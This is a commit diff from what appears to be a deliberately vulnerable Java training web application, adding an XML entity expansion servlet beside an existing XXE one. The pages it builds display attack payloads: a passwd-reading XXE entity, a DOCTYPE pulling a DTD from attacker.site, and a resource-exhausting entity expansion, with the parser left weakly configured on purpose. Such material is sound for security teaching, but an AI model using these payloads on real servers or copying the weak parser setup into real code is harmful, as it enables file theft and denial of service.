Skip to content

Commit

Permalink
Add a servlet that can cause XEE
Browse files Browse the repository at this point in the history
  • Loading branch information
k-tamura committed Apr 4, 2017
1 parent 19932e5 commit 32ad3a1
Show file tree
Hide file tree
Showing 6 changed files with 99 additions and 37 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -31,10 +31,10 @@
import org.xml.sax.helpers.DefaultHandler;

@SuppressWarnings("serial")
@WebServlet(urlPatterns = { "/xxe" })
@WebServlet(urlPatterns = { "/xee", "/xxe" })
// 2MB, 10MB, 50MB
@MultipartConfig(fileSizeThreshold = 1024 * 1024 * 2, maxFileSize = 1024 * 1024 * 10, maxRequestSize = 1024 * 1024 * 50)
public class XXEServlet extends HttpServlet {
public class XEEandXXEServlet extends HttpServlet {

private static final Logger log = LoggerFactory.getLogger(UnrestrictedSizeUploadServlet.class);

Expand All @@ -48,15 +48,19 @@ protected void doGet(HttpServletRequest req, HttpServletResponse res) throws Ser
Locale locale = req.getLocale();

StringBuilder bodyHtml = new StringBuilder();
bodyHtml.append("<form method=\"post\" action=\"xxe\" enctype=\"multipart/form-data\">");
if ("/xee".equals(req.getServletPath())) {
bodyHtml.append("<form method=\"post\" action=\"xee\" enctype=\"multipart/form-data\">");
} else {
bodyHtml.append("<form method=\"post\" action=\"xxe\" enctype=\"multipart/form-data\">");
}
bodyHtml.append(MessageUtils.getMsg("msg.add.users.by.xml", locale));
bodyHtml.append("<br><br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<?xml version=\"1.0\"?>") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<users ou=\"ou=people,dc=t246osslab,dc=org\" >") + "<br>");
bodyHtml.append(TAB + ESAPI.encoder().encodeForHTML(
"<user uid=\"user01\" phone=\"090-1234-5678\" mail=\"[email protected]\"/>") + "<br>");
bodyHtml.append(TAB + ESAPI.encoder().encodeForHTML(
"<user uid=\"user02\" phone=\"090-9876-5432\" mail=\"[email protected]\">") + "<br>");
bodyHtml.append(TAB + ESAPI.encoder()
.encodeForHTML("<user uid=\"user01\" phone=\"090-1234-5678\" mail=\"[email protected]\"/>") + "<br>");
bodyHtml.append(TAB + ESAPI.encoder()
.encodeForHTML("<user uid=\"user02\" phone=\"090-9876-5432\" mail=\"[email protected]\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("</users>"));
bodyHtml.append("<br><br>");
bodyHtml.append("<input type=\"file\" name=\"file\" size=\"60\" /><br>");
Expand All @@ -68,21 +72,47 @@ protected void doGet(HttpServletRequest req, HttpServletResponse res) throws Ser
bodyHtml.append(req.getAttribute("errorMessage"));
bodyHtml.append("<br><br>");
}
bodyHtml.append(MessageUtils.getMsg("msg.note.xxe.step1", locale));
bodyHtml.append("<br><br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY % p1 SYSTEM \"file:///etc/passwd\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY % p2 \"<!ATTLIST users ou CDATA '%p1;'>\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("%p2;"));
bodyHtml.append("<br><br>");
bodyHtml.append(MessageUtils.getMsg("msg.note.xxe.step2", locale));
bodyHtml.append("<br><br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<?xml version=\"1.0\"?>") + "<br>");
bodyHtml.append(ESAPI.encoder()
.encodeForHTML("<!DOCTYPE users SYSTEM \"http://attacker.site/vulnerable.dtd\" >") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<users />"));
if ("/xee".equals(req.getServletPath())) {
bodyHtml.append(MessageUtils.getMsg("msg.note.xee", locale));
bodyHtml.append("<br><br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<?xml version=\"1.0\" encoding=\"UTF-8\" ?>") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!DOCTYPE s[") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY x0 \"ha!\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY x1 \"&x0;&x0;\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY x2 \"&x1;&x1;\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY x3 \"&x2;&x2;)\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!-- Entities from x4 to x98... -->") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY x99 \"&x98;&x98;\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY x100 \"&x99;&x99;\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("]>") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<soapenv:Envelope xmlns:soapenv=\"...\" xmlns:ns1=\"...\">")
+ "<br>");
bodyHtml.append(TAB + ESAPI.encoder().encodeForHTML("<soapenv:Header>") + "<br>");
bodyHtml.append(TAB + ESAPI.encoder().encodeForHTML("</soapenv:Header>") + "<br>");
bodyHtml.append(TAB + ESAPI.encoder().encodeForHTML("<soapenv:Body>") + "<br>");
bodyHtml.append(TAB + TAB + ESAPI.encoder().encodeForHTML("<ns1:reverse>") + "<br>");
bodyHtml.append(TAB + TAB + TAB + ESAPI.encoder().encodeForHTML("<s>&x100;</s>") + "<br>");
bodyHtml.append(TAB + TAB + ESAPI.encoder().encodeForHTML("</ns1:reverse>") + "<br>");
bodyHtml.append(TAB + ESAPI.encoder().encodeForHTML("</soapenv:Body>") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("</soapenv:Envelope>") + "<br>");
} else {
bodyHtml.append(MessageUtils.getMsg("msg.note.xxe.step1", locale));
bodyHtml.append("<br><br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY % p1 SYSTEM \"file:///etc/passwd\">") + "<br>");
bodyHtml.append(
ESAPI.encoder().encodeForHTML("<!ENTITY % p2 \"<!ATTLIST users ou CDATA '%p1;'>\">") + "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("%p2;"));
bodyHtml.append("<br><br>");
bodyHtml.append(MessageUtils.getMsg("msg.note.xxe.step2", locale));
bodyHtml.append("<br><br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<?xml version=\"1.0\"?>") + "<br>");
bodyHtml.append(
ESAPI.encoder().encodeForHTML("<!DOCTYPE users SYSTEM \"http://attacker.site/vulnerable.dtd\" >")
+ "<br>");
bodyHtml.append(ESAPI.encoder().encodeForHTML("<users />"));
}
bodyHtml.append("</form>");
HTTPResponseCreator.createSimpleResponse(res, MessageUtils.getMsg("title.xxe", locale),
bodyHtml.toString());
HTTPResponseCreator.createSimpleResponse(res, MessageUtils.getMsg("title.xxe", locale), bodyHtml.toString());
}

protected void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
Expand Down Expand Up @@ -139,29 +169,35 @@ protected void doPost(HttpServletRequest req, HttpServletResponse res) throws Se
SAXParser parser;
CustomHandler customHandler = new CustomHandler();
try {
File file = new File(savePath + File.separator + fileName);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
if ("/xee".equals(req.getServletPath())) {
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
} else {
spf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
}
parser = spf.newSAXParser();
parser.parse(new File(savePath + File.separator + fileName), customHandler);
parser.parse(file, customHandler);

// TODO Implement registration
isRegistered = true;
} catch (ParserConfigurationException e) {
log.error("ParserConfigurationException occurs: ", e);
} catch (SAXException e) {
log.error("SAXException occurs: ", e);
} catch (Exception e) {
log.error("Exception occurs: ", e);
}

StringBuilder bodyHtml = new StringBuilder();
if (isRegistered) {
if (isRegistered && customHandler.isRegistered()) {
bodyHtml.append(MessageUtils.getMsg("msg.batch.registration.complete", locale));
} else {
bodyHtml.append(MessageUtils.getMsg("msg.batch.registration.fail", locale));
}
if (isRegistered) {
bodyHtml.append("<br><br>");
bodyHtml.append(customHandler.getResult());
}
bodyHtml.append("<br><br>");
bodyHtml.append(customHandler.getResult());
bodyHtml.append("<br><br>");
bodyHtml.append("<INPUT type=\"button\" onClick='history.back();' value=\""
+ MessageUtils.getMsg("label.history.back", locale) + "\">");
Expand All @@ -184,15 +220,22 @@ private String getFileName(final Part part) {
}
return null;
}

public class CustomHandler extends DefaultHandler {
private StringBuilder result = new StringBuilder();
private boolean isRegistered = false;
private boolean isOuExist = false;

@Override
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException {
if ("users".equals(qName)) {
result.append("<p>ou: " + ESAPI.encoder().encodeForHTML(attributes.getValue("ou")) + "</p>");
String ou = attributes.getValue("ou");
if (ou == null || "".equals(ou)) {
return;
}
isOuExist = true;
result.append("<p>ou: " + ESAPI.encoder().encodeForHTML(ou) + "</p>");
result.append("<hr/>");
result.append("<div class=\"container\">");
result.append("<table class=\"table table-striped table-bordered table-hover\">");
Expand All @@ -201,12 +244,13 @@ public void startElement(String uri, String localName, String qName, Attributes
result.append("<th>phone</th>");
result.append("<th>mail</th>");
result.append("</tr>");
} else if ("user".equals(qName)) {
} else if (isOuExist && "user".equals(qName)) {
result.append("<tr>");
result.append("<td>" + ESAPI.encoder().encodeForHTML(attributes.getValue("uid")) + "</td>");
result.append("<td>" + ESAPI.encoder().encodeForHTML(attributes.getValue("phone")) + "</td>");
result.append("<td>" + ESAPI.encoder().encodeForHTML(attributes.getValue("mail")) + "</td>");
result.append("</tr>");
isRegistered = true;
}
}

Expand All @@ -221,5 +265,9 @@ public void endElement(String uri, String localName, String qName) throws SAXExc
String getResult() {
return result.toString();
}

boolean isRegistered() {
return isRegistered;
}
}
}
2 changes: 2 additions & 0 deletions src/main/resources/indexpage_en.properties
Original file line number Diff line number Diff line change
Expand Up @@ -95,6 +95,8 @@ function.name.csrf=CSRF (Cross-site Request Forgery)
function.description.csrf=There is a CSRF vulnerability in this page.
function.name.clickjacking=Clickjacking
function.description.clickjacking=There is a Clickjacking vulnerability in this page.
function.name.xee=XEE (XML Entity Expansion)
function.description.xee=There is an XEE vulnerability in this page.
function.name.xxe=XXE (XML External Entity)
function.description.xxe=There is an XXE vulnerability in this page.

Expand Down
3 changes: 3 additions & 0 deletions src/main/resources/indexpage_ja.properties
Original file line number Diff line number Diff line change
Expand Up @@ -95,9 +95,12 @@ function.name.csrf=CSRF (\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\
function.description.csrf=\u3053\u306e\u30da\u30fc\u30b8\u306b\u306fCSRF\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3059\u3002
function.name.clickjacking=\u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0
function.description.clickjacking=\u3053\u306e\u30da\u30fc\u30b8\u306b\u306f\u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3059\u3002
function.name.xee=XEE (XML\u30a8\u30f3\u30c6\u30a3\u30c6\u30a3\u62e1\u5f35)
function.description.xee=\u3053\u306e\u30da\u30fc\u30b8\u306b\u306fXEE\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3059\u3002
function.name.xxe=XXE (XML\u5916\u90e8\u30a8\u30f3\u30c6\u30a3\u30c6\u30a3)
function.description.xxe=\u3053\u306e\u30da\u30fc\u30b8\u306b\u306fXXE\u306e\u8106\u5f31\u6027\u304c\u3042\u308a\u307e\u3059\u3002


section.errors=\u30a8\u30e9\u30fc
description.errors=OutOfMemoryError\u3001StackOverflowError\u3001NoClassDefFoundError\u306a\u3069

Expand Down
2 changes: 2 additions & 0 deletions src/main/resources/messages_en.properties
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,8 @@ msg.note.unrestricted.size.upload=<span class="glyphicon glyphicon-info-sign"></
This page is vulnerable for attacks such as DoS because there are no limitation for uploading file size.
msg.note.verbose.errror.message=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
It is easy to guess an account who can logs in since authentication error messages on this page is too detailed.
msg.note.xee=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
If you upload the following file, it will waste server resource.
msg.note.xss=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
Session ID is shown if you set name to >tpircs/<;)eikooc.tnemucod(trela>tpIrcs<
msg.note.xxe.step1=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
Expand Down
2 changes: 2 additions & 0 deletions src/main/resources/messages_ja.properties
Original file line number Diff line number Diff line change
Expand Up @@ -129,6 +129,8 @@ msg.note.unrestricted.size.upload=<span class="glyphicon glyphicon-info-sign"></
\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u53ef\u80fd\u306a\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba\u306e\u5236\u9650\u304c\u7121\u3044\u305f\u3081\u3001DoS\u653b\u6483\u306a\u3069\u306b\u5bfe\u3057\u3066\u8106\u5f31\u3067\u3059\u3002
msg.note.verbose.errror.message=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
\u3053\u306e\u753b\u9762\u3067\u306e\u8a8d\u8a3c\u30a8\u30e9\u30fc\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u306f\u8a73\u7d30\u904e\u304e\u308b\u305f\u3081\u3001\u30ed\u30b0\u30a4\u30f3\u53ef\u80fd\u306a\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u63a8\u6e2c\u3057\u3084\u3059\u304f\u306a\u3063\u3066\u3044\u307e\u3059\u3002
msg.note.xee=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3068\u3001\u30b5\u30fc\u30d0\u30fc\u30ea\u30bd\u30fc\u30b9\u3092\u6d6a\u8cbb\u3057\u307e\u3059\u3002
msg.note.xss=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
\u540d\u524d\u306b\u300c>tpircs/<;)eikooc.tnemucod(trela>tpIrcs<\u300d\u3092\u5165\u529b\u3059\u308b\u3068\u3001\u30bb\u30c3\u30b7\u30e7\u30f3ID\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002
msg.note.xxe.step1=<span class="glyphicon glyphicon-info-sign"></span>&nbsp; \
Expand Down
15 changes: 10 additions & 5 deletions src/main/webapp/index.jsp
Original file line number Diff line number Diff line change
Expand Up @@ -214,16 +214,21 @@
key="function.name.csrf" /></a>:
<fmt:message key="function.description.csrf" />
</p></li>
<li><p>
<a href="xxe" target="_blank"><fmt:message
key="function.name.xxe" /></a>:
<fmt:message key="function.description.xxe" />
</p></li>
<li><p>
<a href="/admins/clickjacking" target="_blank"><fmt:message
key="function.name.clickjacking" /></a>:
<fmt:message key="function.description.clickjacking" />
</p></li>
<li><p>
<a href="xee" target="_blank"><fmt:message
key="function.name.xee" /></a>:
<fmt:message key="function.description.xee" />
</p></li>
<li><p>
<a href="xxe" target="_blank"><fmt:message
key="function.name.xxe" /></a>:
<fmt:message key="function.description.xxe" />
</p></li>
</ul>

<h2>
Expand Down

0 comments on commit 32ad3a1

Please sign in to comment.